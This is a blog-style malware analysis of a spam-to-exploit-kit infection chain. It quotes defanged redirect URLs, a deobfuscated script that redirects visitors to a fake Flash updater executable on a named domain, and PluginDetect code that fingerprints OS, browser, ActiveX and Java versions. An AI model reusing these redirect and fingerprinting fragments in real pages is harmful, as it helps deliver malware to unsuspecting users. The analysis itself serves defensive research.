What can Exploit Kit do & drop? Full story of spam to malwares

The dropped malwares collection is at below pic:

↑ As you can see all is in the today's date, is fresh. Don't worry the sample is out there, grab them all.
This threat is so nasty so I think I need to blog it. Below is the report. 

I believe some of you received or seeing mail like this:

↑It is a not-good index.html, let's check in VirusTotal :

If you trace the three urls written in that HTML,
it will lead you to the same javascript file. I traced it like this:

Let's see what's inside of this js.js
document・location='hXXp://50.116.44.177/pxyk80ujzb03h.php?y=078eb263358008ea';

↑Another redirection. OK. This is no good too, let7s check in Virus Total again:

↑OK, at least three antivirus product is detected it.

Let's grab it too and see the inside of it then ↓

And the inside is obfuscation code like this 

↑This is definitely not good at all, let's check it in Virus Total first↓

Oh, looks like I am the first who uploaded this sample.
Well at least NOW at least we still have 2 antivirus product detected it.

If you deobfuscated it right you will have below result, 
one is the below code:
document・write('＜center＞Waiting for redirect...＜/center＞');
function end_redirect(){
  window・location.href = 'hxxp://davidkellett.co.uk/updateflashplayer.exe';


And the other is a plugin detect in Javascript:
 var PluginDetect = {
    version : "0.7.8", name : "PluginDetect", handler : function (c, b, a){
      return function (){
        c(b, a)　＜etc etc＞。。。。。


It detected your OS:
c.OS = 100;
if (b){
  var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 
  21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, ""
  , 100];
  for (f = d.length - 2; f >= 0; f = f - 2){
    if (d[f] && new RegExp(d[f], "i").test(b)){
      c.OS = d[f + 1];
      break 


It sensing your browser user agent for the right drops:
var c = this , a = navigator, e = "/", f, i = a.userAgent || "", g = a.vendor || "", 
 b = a.platform || "", h = a.product || "";
 c.initObj(c, ["$", c]);
 for (fin c.Plugins){
   if (c.Plugins[f]){
     c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
   }


Sensing the element to install messes to your browser:
c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName(
"body")[0] || document.body || null);
c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : 
null      ;
c.ActiveXEnabled = false;
if (c.isIE){
  var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", 
  "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", 
  "Scripting.Dictionary", "wmplayer.ocx"];
  for (f = 0; f < j.length; f ++ ){
    if (c.getAXO(j[f])){
      c.ActiveXEnabled = true;
      break 


And Checking which browser you have
c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : 
"0.9") : null;
c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
c.isSafari = ((/Apple/i).test(g) || (!g &&! c.isChrome)) && (
/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(
RegExp.$1) : null;
c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? 


Very interesting to know that this code is considering to use Java against you:
DTK : {
 $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null, 
 Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",

 var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + 
(a[3] > 0 ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
for (h = 0; h < f.JavaVersions.length; h ++ ){
  d = f.JavaVersions[h];
  n = "JavaPlugin." + d[0] + "" + d[1];
  b = d[0] + "." + d[1] + ".";
  for (l = d[2];
  l >= 0; l -- ){
    r = "JavaWebStart.isInstalled." + b + l + ".0";
    if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO


Well, is sphisticated isn't it? The full code of deobfs are here ====>>> [CLICK]

worse of all is faking Microsoft binary with the yesterday compilation day.
